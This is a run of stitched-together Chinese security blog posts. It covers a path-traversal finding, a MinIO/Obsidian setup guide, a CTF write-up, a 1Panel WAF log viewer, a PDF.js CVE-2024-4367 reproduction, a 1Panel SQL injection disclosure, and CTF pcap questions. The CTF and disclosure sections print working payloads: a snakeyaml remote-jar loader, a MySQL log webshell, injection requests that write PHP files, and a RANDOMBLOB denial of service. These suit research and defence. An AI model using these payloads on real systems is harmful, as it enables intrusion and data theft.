0x1 发现漏洞一开始是在浏览器控制台网络请求处发现了个/getfile接口,通过查看url接口大致能看出是用于请求Json文件的正常请求打开看一下URL响应内容,确实是用于加载json文件的尝试在原有URL上添加一个内容发现会爆出真实路径在/var/pvc/category/下这里我是打算说试试看填个/etc/paasswd发现提示信息有误经过测试发现是要满足 abc.abc这种带点的文件名格式一开始想的是读取系统里面自带的符合条件的文件,然后我提取了系统里面自带的文件作为字典，这里成功读取到了证书文件啥的，但是读取这些文件也没有危害。/getfile?file=../../etc/ssl/certs/ca-certificates.crt2 /getfile?file=../../etc/ca-certificates.conf0x02任意文件读取后面在本地环境里面测试一下,发现要满足这个条件并不难，找一个存在的且满足条件的文件夹然后利用../../去读取即可，例如我这里创建了个test.dir来测试发现刚好能满足当前场景，接下来只需要找到系统自带的满足条件的文件夹即可。cat /root/../root/test.dir/../../etc/passwd接下来在centos系统中通过find来筛选出满足条件的自带文件夹作为字典find /etc -type d -name '[!.]*.*' > dict随后使用Burp去fuzz一下，成功读取到了/etc/passwd文件/getfile?file=../../etc/logrotate.d/../../etc/passwd尝试了一下读取 /etc/shadow发现可以读取，但是没有密码信息，那推测这个环境可能是个容器环境，/getfile?file=../../etc/logrotate.d/../../etc/shadow通过读取环境变量，成功获取数据库跟使用的外部api服务的key等信息
Obsidian+Remotely Save S3插件配合minioS3多端同步笔记
0x0前言最近打算尝试本地笔记软件Obsidian,然后为了实现多端同步使用docker搭建minio来配合Remotely Save插件实现S3同步。准备内容服务器一台已安装dockernginxobsidian两个域名解析用于nginx反代，一个给minio控制台使用一个传输使用s3.xxxx.cns3-api.xxxx.cn0x1 Docker搭建minio并配置Docker启动一个minio容器名为“noteminio”的MinIO容器，映射两个端口（58741和65478）分别为控制台跟数据访问端口，设置用户名和密码，挂载本地目录作为数据存储，并配置语言环境和MinIO服务地址。docker run -d \ --name noteminio \ -p 58741:58741 \ -p 65478:65478 \ --restart always \ -e "MINIO_ROOT_USER=zhanghao" \ -e "MINIO_ROOT_PASSWORD=mima" \ -v /noteminiodata:/data \ -e "LANG=zh_CN.UTF-8" \ minio/minio server /data --console-address ":65478" --address ":58741"启动后在宝塔侧添加一个反向代理,使用s3.xxxx.cn域名把这个端口代出来把API地址也代理出来,也就是58741端口后面上传文件都是向这个接口,域名s3-api.xxxx.cn随后来到宝塔的nginx配置文件目录/www/server/panel/vhost/nginx/，找到api那个域名的配置文件，在location块里面加上proxy_cache_convert_head off;随后打开网站即可访问到minio使用启动Docker时设置的账号密码进入控制台，去建立个桶我这里新建了个notedata区域我这里设置成 cn-east-1保存后Restart一下接下来创建个AK/SK创建的时候SK只会出现一次,要保存好0x2 Obsidian 配置在设置里面第三方插件处安装Remotely Save S3填上代理出来的 s3-api.xxxx.cn地址,其他按图中这些样子选一下填好后,选择检查
2024年福建省第五届“闽盾杯”-黑盾赛道网络空间安全大赛全国赛道决赛-WriteUp解析
0x01前言今年也算运气好又拿了个第一名刚好圆梦,wp的部分内容分别来自 Ahisec、首山路五十九号、还是有键盘的春日影好听、QWER2 队伍 ，剩下的部分来自的我电脑上残留的截图，这里给出了我的思路跟不同师傅的思路仅供参考,感谢给我提供截图的各位师傅们。1.1 题目介绍然后题目分为 A B C D E 几个大题,里面会有几个小题,具体如下任务A 可直接访问任务B 可直接访问,存在多网卡，存在杀软任务C 内网需要通过任务B来代理访问任务D Windows应急响应任务E 需要VPN接入后扫描答题界面如下0x2 任务A任务A-方法101-你懂API安全吗？题目给出的地址是 192.168.18.23 访问80端口是个ruoyi登录界面，默认填上了admin 跟 admin123密码但是点击登录会错误,最后使用 ry admin123成功登录后台 ， 然后在后台可以查看默认参数，可以得到默认管理员的密码是Heidun@2024...使用admin Heidun@2024... 登录到后台会发现就几个菜单他这里是把计划任务啊那些菜单全部隐藏了,然后在菜单那边把这些菜单显示然后找到数据监控,使用 ruoyi 123456 登录druid查看url列表可以发现有个/getFlag接口，访问即可得到flag的base64值02-轻松拿捏Web后台登录系统后在左上角即可看到flag03-服务器上的重要文件接下去就通过定时任务然后远程加载jar包打入内存马org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://192.168.20.32:12312/XXXX.jar"]]]]')然后直接哥斯拉查看/flag04-数据库安全最重要哥斯拉查看 /app目录里面的sql文件得到flag任务A-方法201-你懂API安全吗？直接fscan扫出docker api未授权然后查看 start.sh文件得到接口,然后手动curl得到flag02-轻松拿捏Web后台通过数据库修改sys_user表，将ry用户的弱口令admin123密码，一样替换给admin用户。使用admin用户进行登录03-服务器上的重要文件直接查看04-数据库安全最重要通过start.sh得到数据库密码使用该密码进行登录，然后查询flag表0x3 任务B01-很经典的PMA打开是个emlog搭建的博客,然后扫描可以得到phpmyadmin 使用root root登录,然后查询 flag即可02-有些人就喜欢在桌面上乱放东西首先执行 select @@basedir;发现是phpstudy搭建的，然后直接日志写马SET GLOBAL general_log='ON'; set global general_log_file='C:\\phpstudy_pro\\WWW\\123.php'; select '<?php eval($_POST[1]);?>'; SET GLOBAL general_log='OFF';然后直接查看桌面山的flag文件03-你的权限不够高，换条路再上！上面拿到的shell是普通用户的权限,系统上有火绒5，分离免杀然后直接上线提权，查看桌面的flag或者mysql udf直接system然后flag.txt里面还给了个远程控制的软件04-安全防护软件的配置项也是一门学问通过提供的账号密码跟远程控制软件上到系统,查看信任区得到flag或者直接查看配置文件的db0x4 任务C任务B有两张网卡,他在任务B的192.168.0.0/24这张网卡里面192.168.0.501-公司内网私有云平台上的blog系统，你能进web后台吗？打开是个博客扫目录得到 www.zip 源码，这个博客系统的密码是写在文件里面的解开密码是heidun2024,后台处就有flagC-02-公司内网私有云平台向容器中传递了一些环境变量进到后台后，可以在主题出getshell导入主题,木马地址 http://192.168.0.5/tpl/dtest/img/1.php,然后执行env命令得到环境变量里面的flag0x5 任务D01-黑客首次访问web后门成功的具体时间是？首先把web服务拉到本地使用D盾扫描扫到一个temp.php然后去搜索web日志里面包含temp.php的访问请求,这里可以看到在temp.php出现前利用虽然是404结合d盾扫出来的update.php然后搜索得到响应200的请求的文件,提交该时间即可02-web后门是由哪个用户写入的？从哪个IP登录的？有ftp服务的软件，查看该软件的日志，搜索上一题得到的木马,可以看到写入的用户名以及登录ftp的ip地址03-黑客在系统中进行了一些非法操作，它运行过什么可疑的程序？通过系统日志可以查看到一个tiquan的.exe0x6 任务E在任务B的下载文件夹里面有openvpn的配置文件01-你找得到我吗接入后扫描提供的ip 192.168.18.20在8080端口上得到web服务,使用页面上出现的邮箱作为账号密码123456登录系统0x7 排名
0x01 效果演示都是在社区版下展示,可以看到功能跟专业版无差别(可能会有小bug)b站视频地址: https://www.bilibili.com/video/BV1bwWWeAEqk/源码下载地址: https://pan.quark.cn/s/2b460d59f88b0x02 使用首先来到应用商店已安装然后选择php点击参数按钮点击编辑点击高级设置->编辑 compose 文件然后在挂载文件处加上- /opt/1panel/apps/openresty/openresty/1pwaf/data/db:/www/db然后确定重建即可来到容器进入终端ls可以看到db目录然后给db目录权限chmod 777 -R db/然后就可以在网站里面添加php文件,文件名随意内容如下,为了方便所以把内容都写在了一个文件，代码比较简陋有需要的大佬可以自己在改改(也不是不能用)<?php /** * 1panel-WAF数据查看接口API文件 * * @author Juneha juneha@qq.com * @version 1.0 * @website https://blog.mo60.cn/ * @created 2024-08-19 */ error_reporting(0); // error_reporting(E_ALL); // ini_set('display_errors', 1); header("Access-Control-Allow-Origin: *"); header("Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE"); header("Access-Control-Allow-Headers: X-Requested-With, Content-Type"); header("Access-Control-Allow-Credentials: true"); class SQLite { function __construct($file) { try { @$this->connection=new PDO('sqlite:'.$file); } catch(PDOException $e) { try { $this->connection=new PDO('sqlite2:'.$file); } catch(PDOException $e) { exit('error!'); } } } function __destruct() { $this->connection=null; } function query($sql) { return $this->connection->query($sql); } function getlist($sql) { $stmt = $this->query($sql); return $stmt->fetchAll(PDO::FETCH_ASSOC); } function Execute($sql) { return $this->query($sql)->fetch(); } function RecordArray($sql) { return $this->query($sql)->fetchAll(); } function RecordCount($sql) { return count($this->RecordArray($sql)); } function RecordLastID() { return $this->connection->lastInsertId(); } } function getDocumentRoot() { $scriptPath = __FILE__; $documentRoot = $_SERVER['DOCUMENT_ROOT']; while (true) { $parentDir = dirname($scriptPath); if ($parentDir === $documentRoot) { break; } if (is_dir($parentDir . '/index.php') || is_dir($parentDir . '/public')) { $documentRoot = $parentDir; } $scriptPath = $parentDir; } return $documentRoot; } function doubleSingleQuotes($string) { $result = str_replace("'", "''", $string); return $result; } function getParameterValue($key, $default = '') { return isset($_GET[$key]) ? doubleSingleQuotes(trim($_GET[$key])) : $default; } function translateWAFParams($param) { $translations = [ 'urlDefense' => 'URL 规则', 'urlHelper' => '禁止访问的 URL', 'dirFilter' => '目录过滤', 'sqlInject' => 'SQL 注入', 'xss' => 'XSS', 'phpExec' => 'PHP 脚本执行', 'oneWordTrojan' => '一句话木马', 'appFilter' => '应用危险目录过滤', 'webshell' => 'Webshell', 'protocolFilter' => '协议过滤', 'javaFileter' => 'Java 危险文件过滤', 'scannerFilter' => '扫描器过滤', 'escapeFilter' => '转义过滤', 'customRule' => '自定义规则', 'httpMethod' => 'HTTP 方法过滤', 'fileExt' => '文件上传限制', 'fileExtHelper' => '禁止上传的文件扩展名', 'fiveSeconds'=> "5 秒验证", 'acl'=> "ACL", 'captcha'=> "人机验证", 'uaBlack' => "User-Agent 黑名单", 'urlBlockList' => "URL 黑名单", 'ipBlack'=> "IP 黑名单", 'unknownWebsite'=> "未授权域名访问", 'geoRestrict'=> "地区访问限制", 'attackCount'=> "攻击频率限制", 'notFoundCount'=> "404 频率限制", 'cookieDefense'=> "Cookie 规则", 'headerDefense'=> "Header 规则", 'defaultUaBlack'=> "User-Agent 规则", 'argsDefense'=> "参数规则", 'httpRule'=>"HTTP 规则", 'defaultUrlBlack'=> "URL 规则", 'defaultIpBlack'=> "恶意 IP 组", 'fileExtCheck'=> "文件上传限制", ]; return isset($translations[$param]) ? $translations[$param] : $param; } function buildInClause($data) { if (empty($data)) { return "IN ('')"; } if (!is_array($data)) { $data = array($data); } $escaped_values = array_map(function($value) { return "'" . doubleSingleQuotes($value) . "'"; }, $data); $in_clause = "IN (" . implode(', ', $escaped_values) . ")"; return $in_clause; } $rootPath = getDocumentRoot(); $onepwafPath=$rootPath.'/../../../db/1pwaf.db'; $req_logPath=$rootPath.'/../../../db/req_log.db'; if (!file_exists($onepwafPath)){ die("1pwaf.db file does not exist!"); } if (!file_exists($req_logPath)){ die("req_log.db file does not exist!"); } $onepwafDB=new SQLite($onepwafPath); $req_logDB=new SQLite($req_logPath); $sql=''; $action = @$_GET['action']; switch ($action) { case 'wafstat': $wafData = $onepwafDB->getlist("SELECT * FROM main.waf_stat order by id desc LIMIT 1"); exit(json_encode($wafData[0])); break; case 'sitelist': $webList=$req_logDB->getlist("SELECT DISTINCT website_key FROM main.req_logs where website_key <> 'unknown' order by time desc"); exit(json_encode($webList)); break; case 'list': $page = intval(getParameterValue('page', 1)); $size = intval(getParameterValue('size', 10)); $websiteKey = getParameterValue('website_key'); $exec_rule = $_GET['exec_rule']; $uri = getParameterValue('uri'); $ip = getParameterValue('ip'); $offset = ($page - 1) * $size; $conditions = []; if (!empty($websiteKey)) { $conditions[] = "website_key='{$websiteKey}'"; } if (!empty($exec_rule)) { $conditions[] = "( exec_rule ".buildInClause($exec_rule)." or rule_type ".buildInClause($exec_rule)." )"; } if (!empty($uri)) { $conditions[] = "uri LIKE '%{$uri}%'"; } if (!empty($ip)) { $conditions[] = "ip='{$ip}'"; } $sql = "SELECT * FROM main.req_logs WHERE 1=1"; if (!empty($conditions)) { $sql .= " AND " . implode(' AND ', $conditions); } if (!empty($conditions)) { $total=$req_logDB->RecordCount($sql); }else{ $total=$req_logDB->RecordCount("SELECT * FROM main.req_logs"); } $sql .= " ORDER BY time DESC LIMIT {$offset}, {$size}"; $req_logData['data'] = $req_logDB->getlist($sql); $req_logData['total'] = $total; // var_dump($sql ); for($i=0;$i<count($req_logData['data']);$i++){ $req_logData['data'][$i]['rule_type']=translateWAFParams($req_logData['data'][$i]['rule_type']); $req_logData['data'][$i]['exec_rule']=translateWAFParams($req_logData['data'][$i]['exec_rule']); } exit(json_encode($req_logData)); break; case 'clearlogs': $status = $req_logDB->query("DELETE FROM main.req_logs"); if($status){ exit(json_encode(['status'=>1])); }else{ exit(json_encode(['status'=>0])); } break; default: header("HTTP/1.1 404 Not Found"); exit; break; } ?>前端代码如下,也是找朋友 @n1l.cn 花了半天手搓的，也是为了方便全部放在了单页里面,需要修改API_BASE_URL 为自己部署的api地址 拦截记录 <el-card class="home-card"> 今日状态 <el-row :gutter="20"> <el-col :span="6"> 请求 {{ req_count }} </el-col> <el-col :span="6"> 拦截 {{ attack_count }} </el-col> <el-col :span="6"> 4xx数量 {{ count4xx }} </el-col> <el-col :span="6"> 5xx数量 {{ count5xx }} </el-col> </el-row> </el-card> <el-card> <el-select v-model="website_key" clearable="" placeholder="请选择" @change="handleChange" class="host"> 网站 <el-option v-for="item in siteList" :key="item.value" :label="item.label" :value="item.value" /> </el-select> <el-select v-model="execRuleList" multiple="" clearable="" collapse-tags="" placeholder="请选择" @change="handleChange" class="execrule"> 命中规则 <el-option v-for="item in execRuleOptions" :key="item.value" :label="item.label" :value="item.value" /> </el-select> <el-input v-model="searchUrl" class="rounded-input" placeholder="请输入 URL，支持模糊搜索" clearable=""></el-input> <el-input v-model="searchIP" class="rounded-input" placeholder="请输入 IP" clearable=""></el-input> <el-button type="primary" plain="" @click="handleChange"> 搜索 </el-button> </el-card> <el-card> 拦截记录 <el-divider direction="vertical" /> <el-button type="primary" plain="" @click="clearlogs"> 清空日志 </el-button> <el-button type="primary" plain="" @click="listData"> 刷新 </el-button> <el-table :data="tableData" style="margin-top: 20px; width: 100%;"> <el-table-column prop="ip" label="IP" min-width="130"></el-table-column> <el-table-column prop="host" label="域名" min-width="250"></el-table-column> <el-table-column prop="uri" label="url" :show-overflow-tooltip="true" min-width="300"></el-table-column> <el-table-column prop="ipLocation" label="IP归属地" width="150"> {{ scope.row.ip_country_zh }} {{ scope.row.ip_province_zh }} </el-table-column> <el-table-column prop="action" label="动作" min-width="100"> <el-tag v-if="scope.row.action === 'deny'" type="error"> 禁止 </el-tag> <el-tag v-else="" type="success"> 允许 </el-tag> </el-table-column> <el-table-column prop="exec_rule" label="命中规则" min-width="150"></el-table-column> <el-table-column prop="rule_type" label="类型" min-width="100"></el-table-column> <el-table-column prop="localtime" label="时间" min-width="180"> </el-table-column> <el-table-column fixed="right" label="操作" width="100"> <el-button style="color: #005eeb;" link="" @click="handleClick(scope.row)"> 详情 </el-button> </el-table-column> </el-table> <el-pagination v-if="!smallPagination" :page-sizes="[5, 10, 20, 50, 100]" size="default" layout="total, sizes, prev, pager, next, jumper" :total="total" @size-change="handleSizeChange" @current-change="handleCurrentChange"> </el-pagination> <el-pagination v-else size="small" background layout="prev, pager, next" :total="total" class="mt-4" @size-change="handleSizeChange" @current-change="handleCurrentChange" /> </el-card> <el-drawer v-model="drawer" :size="drawerSize" @close="handleDrawerClose"> <el-page-header @back="drawer = false" title="返回"> 详情 </el-page-header> <el-descriptions title="攻击详情" :column="1" border> <el-descriptions-item label="攻击 IP"> {{ selectedRow.ip }} </el-descriptions-item> <el-descriptions-item label="时间"> {{ selectedRow.localtime }} </el-descriptions-item> <el-descriptions-item label="动作"> {{ selectedRow.action === 'deny' ? '禁止' : '允许'}} </el-descriptions-item> <el-descriptions-item label="命中规则"> {{ selectedRow.exec_rule }} </el-descriptions-item> <el-descriptions-item label="匹配值"> {{ decodeBase64(selectedRow.match_value) }} </el-descriptions-item> </el-descriptions> <el-descriptions class="margin-top" title="HTTP"> </el-descriptions> </el-drawer> × 0x03 原理 and 文档1panel waf的日志都是保存在openresty容器里面的db文件，目录也有映射出来，我们通过php容器也去挂载一下即可读取到db文件然后读取即可下面是简易的api接口文档wafstat说明：获取 WAF 状态的最新记录。请求方式：GET请求参数：无返回格式：JSON返回示例：json { "id": 5, "day": "2024-08-20", "req_count": 2085, "attack_count": 65, "count4xx": 917, "count5xx": 5, "create_date": "2024-08-19 16:06:47" }2.sitelist说明：获取所有已记录的网站列表。请求方式：GET请求参数：无返回格式：JSON返回示例：json [ { "website_key": "example.com" }, { "website_key": "testsite.com" } ]3.list说明：获取请求日志列表，支持分页和过滤。请求方式：GET请求参数：page：页码（默认值为 1）size：每页条数（默认值为 10）website_key：网站（可选）exec_rule：命中规则（可选）uri：请求 URI（可选）ip：请求 IP（可选）返回格式：JSON返回示例：json { "data": [ { "id": "17b7d444-9631-4bd2-a09e-8f7a4d03f6b6", "ip": "205.210.31.16", "ip_iso": "US", "ip_country_zh": "美国", "ip_country_en": "United States", "ip_province_zh": "", "ip_province_en": "", "ip_longitude": "-97.822", "ip_latitude": "37.751", "localtime": "2024-08-20 03:26:14", "time": 1724124372.559, "server_name": "8.222.178.70", "website_key": "8.222.178.70:8080", "host": "8.222.178.70", "method": "GET", "uri": "/", "user_agent": "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com", "exec_rule": "恶意 IP 组", "rule_type": "", "match_rule": "", "match_value": "MjA1LjIxMC4zMS4xNg==", "nginx_log": "GET / HTTP/1.0\nUSER-AGENT: Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com\nACCEPT: */*\n", "blocking_time": 0, "action": "deny", "is_block": 0, "is_attack": 1 } ], "total": 13 }4.clearlogs说明：清除所有请求日志。请求方式：GET请求参数：无返回格式：JSON返回示例：json { "status": 1 }status：操作状态，1 表示成功，0 表示失败。
1.CVE-2024-4367 介绍PDF.js是一个由Mozilla开发的、广泛使用的开源便携式文档格式 (PDF) 查看器，可以在Web浏览器中显示PDF文档，而无需依赖任何本地插件PDF.js被内置于Mozilla Firefox中，也可被其他Web浏览器使用。Mozilla PDF.js 4.2.67之前版本在font_loader.js 中存在代码注入漏洞，当PDF.js 配置isEvalSupported 选项设置为 true（默认值）时会将输入传递到 函数，威胁者可通过诱导用户打开恶意PDF文件来利用该漏洞，成功利用可能导致在登录用户或托管域的上下文中执行任意JavaScript。影响范围:Mozilla PDF.js < 4.2.67pdfjs-dist (npm) < 4.2.67react-pdf (npm) < 7.7.38.0.0<= react-pdf (npm) < 8.0.22.漏洞复现测试的时候是当下的最新版本 1.52需要安装官方插件PDF阅读器,版本也为当下最新1.47然后下载利用pochttps://github.com/LOURC0D3/CVE-2024-4367-PoC然后生成一个弹cookie的poc.pdf文件D:\CVE-2024-4367-PoC-main> .\CVE-2024-4367.py "alert(document.cookie)" [+] Created malicious PDF file: poc.pdf [+] Open the file with the vulnerable application to trigger the exploit.上传后打开我们可以利用可道云终端插件来执行命令，这里是如果已经按照终端插件的情况下才能使用，或者使用js去按照插件后利用var xhr=new XMLHttpRequest(),url='/plugins/webConsole/lib/';xhr.open('POST',url,!0),xhr.setRequestHeader('Content-Type','application/json'),xhr.setRequestHeader('X-Requested-With','XMLHttpRequest'),xhr.onreadystatechange=function(){4===xhr.readyState&&200===xhr.status&&(alert(JSON.parse(xhr.responseText).result.output))};var cmd='id',data={'jsonrpc':'2.0','method':'run','params':['NO_LOGIN',{'user':'','hostname':'','path':''},cmd],'id':1},jsonData=JSON.stringify(data);xhr.send(jsonData); 生成漏洞pdf文件然后上传后访问成功执行命令
0x00 1Panel 架构1Panel 大致架构如下，面板本身是运行在宿主机上的，搭建的网站运行的其他服务等都是在docker内请求日志，访问日志是在1panel/openresty容器里面的各种.db文件里面存储着，通过lua文件写入的, waf功能以及网站监控功能也是在1panel/openresty容器内实现并存储的,然后面板去读取展示复现视频 https://www.bilibili.com/video/BV1tt8ue6EmU/漏洞在6月初发现，反馈给1p官方后，六月中修复，7月中漏洞公开0x1 测试版本专业版 v1.10.10-lts社区版 v1.10.10-lts1panel/openresty:1.21.4.3-3-1-focal0x2 影响范围网站监控功能影响 == 1panel/openresty:1.21.4.3-3-1-focalWAF功能影响 <= 1panel/openresty:1.21.4.3-3-1-focal0x3 网站监控功能利用条件:专业版,并开启网站监控功能关闭waf功能安装有1P-openresty容器且搭建有php环境网站3.1 发现注入这里会记录请求日志他记录的字段有 re ua头等在记录的字段上加上单引号会发现没有成功记录日志，猜测这里存在一个inser的sql注入进一步验证因为数据库是sqlite,我们尝试一下字符串拼功能最后记录是啥样子的,发送数据包User-Agent: Mozilla/5.0'||"blog.mo60.cn"||'b发现字符串被拼接了，确定了这里存在一个insert的注入3.2 文件定位这个功能的数据库在/usr/local/openresty/1pwaf/data/db/sites/网站编号/site_req_logs.db或者在宿主机的/opt/1panel/apps/openresty/openresty/1pwaf/data/db/sites/网站代号写入数据库语句的脚本在/usr/local/openresty/1pwaf/lib/monitor_log.lua执行的sql语句如下INSERT INTO site_req_logs ( server_name, host,ip, ip_iso, ip_country_zh, ip_country_en, ip_province_zh, ip_province_en, uri, user_agent, method, status_code, referer, spider, request_time, localtime, time, request_uri, flow, day, hour, uv_id, referer_domain, os,browser,device,pv_tag,uv_tag ) VALUES ( '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', %d, '%s', '%s', %d, DATETIME('now'), %f, '%s', %d, '%s', '%s', '%s', '%s', '%s', '%s', '%s','%s','%s' )我们可控的位置在user_agent头也就是VALUES ( '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '可控点', '%s', '%s', %d, '%s', '%s', %d, DATETIME('now'), %f, '%s', %d, '%s', '%s', '%s', '%s', '%s', '%s', '%s','%s','%s' )3.3 Getshell这里我们先测试一下存不存在堆叠注入,先闭合前面的然后在构造插入新语句的pocGET / HTTP/1.1 Host: 192.168.99.6 User-Agent: ua', 'blog.mo60.cn', 5201314, '', '', 1, '2024-06-09 08:16:52', 1817921010.847, '/AAAAAAA', 52014, '2025-06-09', '16', '', '', 'Linux', 'edge', 'pc', '', '');INSERT INTO "main"."site_req_logs" ("id", "server_name", "host", "ip", "ip_iso", "ip_country_zh", "ip_country_en", "ip_province_zh", "ip_province_en", "ip_longitude", "ip_latitude", "uri", "user_agent", "method", "status_code", "referer", "spider", "request_time", "localtime", "time", "request_uri", "flow", "day", "hour", "uv_id", "referer_domain", "os", "browser", "device", "pv_tag", "uv_tag")VALUES (18, '192.168.99.6', '192.168.99.6', '192.168.99.2', 'Local', 'blog.mo60.cn', 'Intranet', '', '', NULL, NULL, '/blog.mo60.cn', 'blog.mo60.cn', 'blog.mo60.cn', 114514, '', '', 1, '2024-06-09 08:16:52', 1717921010.847, '/aa', 552, '2024-06-09', '16', '', '', 'windows', 'edge', 'pc', '', '');# Connection: close可以看到插入了我们的语句那么我们的思路是通过堆叠注入写出文件,到网站目录下,因为网站大部分是支持php的，默认网站路径格式如下/www/sites/网站代号(默认为域名)/index/然后构造poc写入文件ATTACH DATABASE '/www/sites/index/index/mo60.cn.php' AS test ;create TABLE test.exp (dataz text) ; insert INTO test.exp (dataz) VALUES ('<?php phpinfo();?>');#然后发送数据包然后进入容器查看一下，发现文件写入成功访问成功执行测试pocGET / HTTP/1.1 Host: 192.168.99.6 User-Agent: ua', 'blog.mo60.cn', 5201314, '', '', 1, '2024-06-09 08:16:52', 1817921010.847, '/AAAAAAA', 52014, '2025-06-09', '16', '', '', 'Linux', 'edge', 'pc', '', '');ATTACH DATABASE '/www/sites/index/index/mo60.cn.php' AS test ;create TABLE test.exp (dataz text) ; insert INTO test.exp (dataz) VALUES ('<?= md5("blog.mo60.cn"); ?>');# 发送后如果写入文件并输出C930b955726e241e6a7aa1e4184b54e7f就是存在这个利用方式在开启waf的情况下无法利用，大致示意图3.4 功能DDOS这里是利用到RANDOMBLOB 是SQLite数据库中的一个函数，它的主要用途是生成一个指定长度的包含随机字节的二进制大对象(BLOB)。,然后传入一个RANDOMBLOB(39990000)GET / HTTP/1.1 Host: 192.168.99.6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Edg/125.0.0.0'||RANDOMBLOB(39990000)||'blog.mo60.cn Connection: close发送后来到请求日志查看，直接响应超时功能全部用不了http://192.168.99.6:13515/xpack/monitor/log上面的操作导致数据库文件特别大因为生成了太大字节的内容0x4 WAF功能利用条件:开启waf功能安装有1P-openresty容器且搭建有php环境网站4.1发现注入先来一条会触发waf的规则可以看到在waf拦截记录里面记录了http://URL/xpack/waf/websites可以看到记录的字段跟上面也差不多直接测试有没有注入User-Agent: Mozilla/5.0'||"blog.mo60.cn"||'b可以看到最近得到的是拼接后的结果，这里存在注入4.2文件定位进入op的到容器里面docker exec -it 8fbeeb7b4dbc /bin/bash数据库的路径位于,是SQLite数据库/usr/local/openresty/1pwaf/data/db/里面有两个数据库文件,1pwaf.db 跟 req_log.db,一个是记录的waf的开关情况配置等，另外一个是我们需要的请求日志,我们的拦截日志就在这个库里面记录着然后把db文件拷贝到宿主机上分析一下,后面发现就在1panel的文件路径里面就有不需要特意进入到容器/opt/1panel/docker cp 8fbeeb7b4dbc:/usr/local/openresty/1pwaf/data/db/req_log.db .可以看到我们的拦截记录就在这里面然后通过搜索找到的插入语句在/usr/local/openresty/1pwaf/lib/attack_log.lua打开可以看到执行的sql语句INSERT INTO req_logs ( id, ip, ip_iso, ip_country_zh, ip_country_en, ip_province_zh, ip_province_en, ip_longitude, ip_latitude, localtime, time,server_name, website_key, host, method, uri, user_agent, exec_rule, rule_type, match_rule, match_value, nginx_log, blocking_time, action, is_block, is_attack ) VALUES ( '%s', '%s', '%s', '%s', '%s', '%s', '%s', %d, %d, DATETIME('now'), %f, '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', %d, '%s', %d, %d )我们的可控点在第二个插入参数的位置VALUES ( '%s', '%s', '%s', '%s', '%s', '%s', '%s', %d, %d, DATETIME('now'), %f, '%s', '%s', '%s', '%s', '%s', '可控点', '%s', '%s', '%s', '%s', '%s', %d, '%s', %d, %d )4.3 Getshell先构造好pocATTACH DATABASE '/www/sites/index/index/mo60.cn.php' AS test ;create TABLE test.exp (dataz text) ; insert INTO test.exp (dataz) VALUES ('<?= md5("blog.mo60.cn"); ?>');#然后这里利用ua头位置注入来写入文件GET /.git/config HTTP/1.1 Host: 192.168.99.6 User-Agent: blog.mo60.cn',"args", "sqlInjectA", "", "YmxvZy5tbzYwLmNu", "blog.mo60.cn", 0, "deny", 0, 1);ATTACH DATABASE '/www/sites/index/index/mo60.cn.php' AS test ;create TABLE test.exp (dataz text) ; insert INTO test.exp (dataz) VALUES ('<?= md5("blog.mo60.cn"); ?>');# Connection: close访问成功执行这里利用只要开启waf功能即可4.4 功能DDOS还是利用生成一大堆数据，然后让这个接口响应超时GET /.git/config HTTP/1.1 Host: 192.168.99.6 User-Agent: blog.mo60.cn'||RANDOMBLOB(79990000)||'blog.mo60.cn Connection: close然后来到拦截日志，开始转圈圈然后过一会提示请求错误
数据分析题-信息安全管理与评估-2022年省赛-环境+WP
0x01前言更新浏览器缓存可能导致无法查看，有问题可以与我联系或者评论反馈数据分析题-信息安全管理与评估-2022年省赛-环境+WP内容包括数据包+WP序号任务内容1使用Wireshark分析数据包找出telnet服务器(路由器)的用户名和密码，并将密码作为Flag值提交。flag格式:flag {密码}2使用Wireshark分析capture. pcapng数据流量包，telnet服务器是一台路由器，找出此台路由器的特权密码，并将密码作为Flag值提交。flag格 式:flag {密码}3使用Wireshark分析capture. pcapng数据流量包，telnet服务器是一一台路由器，正在被192.168.181.141这台主机进行密码爆破，将此主机进行密码爆破的次数作为Flag值提交。flag格式:flag {爆破次数}4使用Wireshark分析capture. pcapog数据流量包，ftp服务器已经传输文件结束，将登陆服务器后的第一条指令作为Flag值提交.flag格式:flag{第一条指令}。5使用Wireshark 分析capture. pcapos效据流量包，ftp服务器已经传输文件结束，将建立FTP服务器的数据连接的次数作为Flag值提交。flag 格式:flag {连接次数}6使用Wireshark分析capture. pcepng数据流量包，ftp服务器已经传输文件结束，将登陆服务器后第一次使用数据连接的端口号作为Flag值提交. flg格式:flag{第一次连接端口}。7使用Wireshark分析capture. pcapog数据流量包，web服务器地址是192. 168. 181. 250,其使用的脚本语言为php,将服务器使用php的版本号作为Flag值提交.flag格式:flag {php版本号}8使用Wireshark分析capture. pcapng数据流量包，web服务器地址是192.168.181.250，将web服务器软件的版本号作为Flag值提交。flag格式: flag {web软件版本号}9使用Wireshark分析capture.pcapng数据流量包，找出数据包当中所有HTTP状态码为404的报文，将这些报文的数量作为Flag值提交。flag格 式:flag{报文数量}10使用Wireshark分析capture.pcapng数据流量包，这些数据中有非常多的ICMP报文，其中有一个设备是路由器 IP地址为192.168.181.25，将路由器上主动发出的ping请求的数量作为Flag值提交。flag格式:flag {请求数量}11使用Wireshark分析capture.pcapng数据包文件，这些数据中有非常多的ICMP报文，这些报文中有大量的非正常ICMP报文，找出类型为重定向的所有报文，将报文重定向的数量作为Flag值提交。flag格 式:flag {重定向数量}12使用Wi reshark分析capture.pcapng数据包文件，这些数据中有ssh报文，由于ssh有加密功能，现需要将这些加密报文的算法分析出来，将ssh客户端支持的第一个算法的名称作为Flag值提交。flag格式:flag{第一个算法名称}13使用Wireshark并分析capture.pcapng数据包文件，这些数据中有ssh报文，由于ssh有加密功能，现需要将这些加密报文的算法分析出来，将ssh服务器支持的第一个算法的密钥长度作为Flag值提交。flag格式:flag{第一个算法密钥长度}0x02 